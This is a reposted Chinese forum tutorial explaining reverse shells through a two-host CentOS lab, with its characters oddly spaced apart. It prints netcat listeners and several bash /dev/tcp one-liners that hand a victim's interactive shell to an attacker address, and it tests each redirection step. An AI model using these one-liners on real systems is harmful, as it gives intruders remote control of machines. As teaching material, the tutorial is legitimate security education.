搜索

[21529] 2020-12-22_反弹shell原理与实现

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-12-22_反弹shell原理与实现 反 弹 s h e l l 原 理 与 实 现 L e m o n S e c   2 0 2 0 - 1 2 - 2 2 转 自 i o u w e n b o 的 博 客 什 么 是 反 弹 什 么 是 反 弹 s h e l l ？ ？ 　 　 反 弹 s h e l l （ r e v e r s e   s h e l l ） ， 就 是 控 制 端 监 听 在 某 T C P / U D P 端 口 ， 被 控 端 发 起 请 求 到 该 端 口 ， 并 将 其 命 令 行 的 输 入 输 出 转 到 控 制 端 。 r e v e r s e   s h e l l 与 t e l n e t ， s s h 等 标 准 s h e l l 对 应 ， 本 质 上 是 网 络 概 念 的 客 户 端 与 服 务 端 的 角 色 反 转 。   为 什 么 要 反 弹 为 什 么 要 反 弹 s h e l l ？ ？ 通 常 用 于 被 控 端 因 防 火 墙 受 限 、 权 限 不 足 、 端 口 被 占 用 等 情 形 。 举 例 ： 假 设 我 们 攻 击 了 一 台 机 器 ， 打 开 了 该 机 器 的 一 个 端 口 ， 攻 击 者 在 自 己 的 机 器 去 连 接 目 标 机 器 （ 目 标 i p ： 目 标 机 器 端 口 ） ， 这 是 比 较 常 规 的 形 式 ， 我 们 叫 做 正 向 连 接 。 远 程 桌 面 、 w e b 服 务 、 s s h 、 t e l n e t 等 等 都 是 正 向 连 接 。 那 么 什 么 情 况 下 正 向 连 接 不 能 用 了 呢 ？ 有 如 下 情 况 ： 1 . 某 客 户 机 中 了 你 的 网 马 ， 但 是 它 在 局 域 网 内 ， 你 直 接 连 接 不 了 。   2 . 目 标 机 器 的 i p 动 态 改 变 ， 你 不 能 持 续 控 制 。 3 . 由 于 防 火 墙 等 限 制 ， 对 方 机 器 只 能 发 送 请 求 ， 不 能 接 收 请 求 。 4 . 对 于 病 毒 ， 木 马 ， 受 害 者 什 么 时 候 能 中 招 ， 对 方 的 网 络 环 境 是 什 么 样 的 ， 什 么 时 候 开 关 机 等 情 况 都 是 未 知 的 ， 所 以 建 立 一 个 服 务 端 让 恶 意 程 序 主 动 连 接 ， 才 是 上 策 。 那 么 反 弹 就 很 好 理 解 了 ， 攻 击 者 指 定 服 务 端 ， 受 害 者 主 机 主 动 连 接 攻 击 者 的 服 务 端 程 序 ， 就 叫 反 弹 连 接 。   = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 参 考 ： h t t p s : / / w w w . z h i h u . c o m / q u e s t i o n / 2 4 5 0 3 8 1 3       知 乎 ： 反 弹 s h e l l 是 什 么 意 思 啊 ？ 网 上 看 了 半 天 都 没 有 相 关 的 基 础 的 解 释 ?   反 弹 反 弹 s h e l l 实 验 实 验 环 境 ： 两 台 C e n t O S 7 . 6 服 务 器 攻 击 端   h a c k e r ： 1 0 . 2 0 1 . 6 1 . 1 9 4 受 害 端   v i c t i m ： 1 0 . 2 0 1 . 6 1 . 1 9 5 1 .   攻 击 端 监 听 一 个 端 口 ：
[ r o o t @ h a c k e r   ~ ] #   n c   - l v p   6 7 6 7 N c a t :   V e r s i o n   7 . 5 0   (   h t t p s : / / n m a p . o r g / n c a t   ) N c a t :   L i s t e n i n g   o n   : : : 6 7 6 7 N c a t :   L i s t e n i n g   o n   0 . 0 . 0 . 0 : 6 7 6 7   2 . 受 害 端 生 成 一 个 反 弹 s h e l l ： [ r o o t @ v i c t i m   ~ ] #   b a s h   - i   > &   / d e v / t c p / 1 0 . 2 0 1 . 6 1 . 1 9 4 / 6 7 6 7   0 > & 1   3 . 攻 击 端 已 获 取 到 受 害 端 的 b a s h ： [ r o o t @ h a c k e r   ~ ] #   n c   - l v p   6 7 6 7 N c a t :   V e r s i o n   7 . 5 0   (   h t t p s : / / n m a p . o r g / n c a t   ) N c a t :   L i s t e n i n g   o n   : : : 6 7 6 7 N c a t :   L i s t e n i n g   o n   0 . 0 . 0 . 0 : 6 7 6 7 N c a t :   C o n n e c t i o n   f r o m   1 0 . 2 0 1 . 6 1 . 1 9 5 . N c a t :   C o n n e c t i o n   f r o m   1 0 . 2 0 1 . 6 1 . 1 9 5 : 4 6 8 3 6 . [ r o o t @ v i c t i m   ~ ] #                   / / 攻 击 端 已 获 得 受 害 端 的 远 程 交 互 式 s h e l l [ r o o t @ v i c t i m   ~ ] #   h o s t n a m e h o s t n a m e v i c t i m   解 释 ： 解 释 ： 1 .   n c   - l v p   6 7 6 7   - l   监 听 ， - v   输 出 交 互 或 出 错 信 息 ， - p   端 口 。 n c 是 n e t c a t 的 简 写 ， 可 实 现 任 意 T C P / U D P 端 口 的 侦 听 ， n c 可 以 作 为 s e r v e r 以 T C P 或 U D P 方 式 侦 听 指 定 端 口 。   2 .   b a s h   - i - i   i n t e r a c t i v e 。 即 产 生 一 个 交 互 式 的 s h e l l （ b a s h ） 。   3 .   / d e v / t c p / I P / P O R T
特 殊 设 备 文 件 （ L i n u x 一 切 皆 文 件 ） ， 实 际 这 个 文 件 是 不 存 在 的 ， 它 只 是     实 现 的 用 来 实 现 网 络 请 求 的 一 个 接 口 。 打 开 这 个 文 件 就 相 当 于 发 出 了 一 个 s o c k e t 调 用 并 建 立 一 个 s o c k e t 连 接 ， 读 写 这 个 文 件 就 相 当 于 在 这 个 s o c k e t 连 接 中 传 输 数 据 。     通 过 以 下 通 过 以 下 4 个 小 测 试 来 分 析 反 弹 个 小 测 试 来 分 析 反 弹 s h e l l 实 现 过 程 ： 实 现 过 程 ： （ P S :   注 意 执 行 步 骤 顺 序 ）   测 试 测 试 1 ： ： 受 害 端 ： [ r o o t @ v i c t i m   ~ ] #   b a s h   - i   >   / d e v / t c p / 1 0 . 2 0 1 . 6 1 . 1 9 4 / 5 5 6 6                 / / 第 二 步 [ r o o t @ v i c t i m   ~ ] #   h o s t n a m e                 / / 第 三 步 [ r o o t @ v i c t i m   ~ ] # 攻 击 端 ： [ r o o t @ h a c k e r   ~ ] #   n c   - l v p   5 5 6 6             / / 第 一 步 N c a t :   V e r s i o n   7 . 5 0   (   h t t p s : / / n m a p . o r g / n c a t   ) N c a t :   L i s t e n i n g   o n   : : : 5 5 6 6 N c a t :   L i s t e n i n g   o n   0 . 0 . 0 . 0 : 5 5 6 6 N c a t :   C o n n e c t i o n   f r o m   1 0 . 2 0 1 . 6 1 . 1 9 5 . N c a t :   C o n n e c t i o n   f r o m   1 0 . 2 0 1 . 6 1 . 1 9 5 : 4 9 0 1 8 . v i c t i m             / / 测 试 1 结 果 ： 实 现 了 将 受 害 端 的 标 准 输 出 重 定 向 到 攻 击 端 ， 但 是 还 没 实 现 用 命 令 控 制 受 害 端 。   测 试 测 试 2 ： ： 受 害 端 ： [ r o o t @ v i c t i m   ~ ] #   b a s h   - i   <   / d e v / t c p / 1 0 . 2 0 1 . 6 1 . 1 9 4 / 5 5 6 6                 / / 第 二 步 [ r o o t @ v i c t i m   ~ ] #   h o s t n a m e                 / / 测 试 2 结 果 ： 实 现 了 将 攻 击 端 的 输 入 重 定 向 到 受 害 端 ， 但 是 攻 击 端 看 不 到 命 令 执 行 结 果 。 v i c t i m   攻 击 端 ： [ r o o t @ h a c k e r   ~ ] #   n c   - l v p   5 5 6 6                 / / 第 一 步 N c a t :   V e r s i o n   7 . 5 0   (   h t t p s : / / n m a p . o r g / n c a t   ) b a s h
N c a t :   L i s t e n i n g   o n   : : : 5 5 6 6 N c a t :   L i s t e n i n g   o n   0 . 0 . 0 . 0 : 5 5 6 6 N c a t :   C o n n e c t i o n   f r o m   1 0 . 2 0 1 . 6 1 . 1 9 5 . N c a t :   C o n n e c t i o n   f r o m   1 0 . 2 0 1 . 6 1 . 1 9 5 : 5 0 4 1 2 . h o s t n a m e                 / / 第 三 步 （ 攻 击 端 执 行 命 令 ）   测 试 测 试 3 ： 受 害 端 ： [ r o o t @ v i c t i m   ~ ] #   b a s h   - i   >   / d e v / t c p / 1 0 . 2 0 1 . 6 1 . 1 9 4 / 5 5 6 6   0 > & 1                 / / 第 二 步 [ r o o t @ v i c t i m   ~ ] #   h o s t n a m e                 / / 受 害 端 回 显 命 令 [ r o o t @ v i c t i m   ~ ] #   i d                 / / 受 害 端 回 显 命 令 [ r o o t @ v i c t i m   ~ ] #   h a h a h a                 / / 受 害 端 回 显 命 令 b a s h :   h a h a h a :   c o m m a n d   n o t   f o u n d                 / / 受 害 端 回 显 命 令 。 显 示 错 误 命 令 的 输 出 。 [ r o o t @ v i c t i m   ~ ] #   攻 击 端 ： [ r o o t @ h a c k e r   ~ ] #   n c   - l v p   5 5 6 6                 / / 第 一 步 N c a t :   V e r s i o n   7 . 5 0   (   h t t p s : / / n m a p . o r g / n c a t   ) N c a t :   L i s t e n i n g   o n   : : : 5 5 6 6 N c a t :   L i s t e n i n g   o n   0 . 0 . 0 . 0 : 5 5 6 6 N c a t :   C o n n e c t i o n   f r o m   1 0 . 2 0 1 . 6 1 . 1 9 5 . N c a t :   C o n n e c t i o n   f r o m   1 0 . 2 0 1 . 6 1 . 1 9 5 : 3 6 7 9 2 . h o s t n a m e                 / / 第 三 步 （ 攻 击 端 执 行 命 令 ） v i c t i m i d                 / / 第 四 步 （ 攻 击 端 执 行 命 令 ） u i d = 0 ( r o o t )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t ) h a h a h a                 / / 第 五 步 （ 执 行 一 个 错 误 的 命 令 ） / / 测 试 3 结 果 ： 基 本 实 现 了 反 弹 s h e l l 的 功 能 。 但 是 受 害 端 的 机 器 上 依 然 回 显 了 攻 击 者 机 器 上 执 行 的 命 令 ， 且 攻 击 端 看 不 到 错 误 命 令 的 输 出 。     测 试 测 试 4 （ 将 上 面 三 个 测 试 结 合 。 将 标 准 输 入 、 标 准 输 出 、 错 误 输 出 全 都 重 定 向 到 攻 击 端 ） ：   受 害 端 ： [ r o o t @ v i c t i m   ~ ] #   b a s h   - i   >   / d e v / t c p / 1 0 . 2 0 1 . 6 1 . 1 9 4 / 5 5 6 6   0 > & 1   2 > & 1                 / / 第 二 步 。 或   #   b a s h   - i & >   / d e v / t c p / 1 0 . 2 0 1 . 6 1 . 1 9 4 / 5 5 6 6   0 > & 1     （ 注 ： & > 或 > &   表 示 混 合 输 出 ， 即 标 准 输 出 1   +   错 误 输 出 2 ） 攻 击 端 ：
[ r o o t @ h a c k e r   ~ ] #   n c   - l v p   5 5 6 6                 / / 第 一 步 N c a t :   V e r s i o n   7 . 5 0   (   h t t p s : / / n m a p . o r g / n c a t   ) N c a t :   L i s t e n i n g   o n   : : : 5 5 6 6 N c a t :   L i s t e n i n g   o n   0 . 0 . 0 . 0 : 5 5 6 6 N c a t :   C o n n e c t i o n   f r o m   1 0 . 2 0 1 . 6 1 . 1 9 5 . N c a t :   C o n n e c t i o n   f r o m   1 0 . 2 0 1 . 6 1 . 1 9 5 : 5 1 1 8 2 . [ r o o t @ v i c t i m   ~ ] #   h o s t n a m e                 / / 第 三 步 。 测 试 4 结 果 ： 攻 击 端 已 获 得 受 害 端 的 远 程 交 互 式 s h e l l ， 而 且 受 害 端 没 有 再 回 显 攻 击 端 输 入 的 命 令 ~ h o s t n a m e v i c t i m / / P S ： 由 测 试 3 、 测 试 4 对 比 可 见 ， 标 准 错 误 2 不 仅 显 示 错 误 信 息 的 作 用 ， 居 然 还 有 回 显 输 入 命 令 和 终 端 提 示 符 的 作 用 ~ ~ ~   总 结 总 结 ： 本 文 整 理 了 反 弹 s h e l l 的 一 些 资 料 并 通 过 实 验 理 解 反 弹 s h e l l 原 理 。 深 入 理 解 文 件 描 述 符 和 重 定 向 才 能 更 好 弄 懂 反 弹 s h e l l ~   = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 参 考 ： h t t p s : / / x z . a l i y u n . c o m / t / 2 5 4 9       先 知 社 区 ： L i n u x   反 弹 s h e l l （ 二 ） 反 弹 s h e l l 的 本 质 h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / s y s t e m / 1 5 3 9 8 6 . h t m l       F R E E B U F ： 浅 析 重 定 向 与 反 弹 S h e l l 命 令 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c
觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理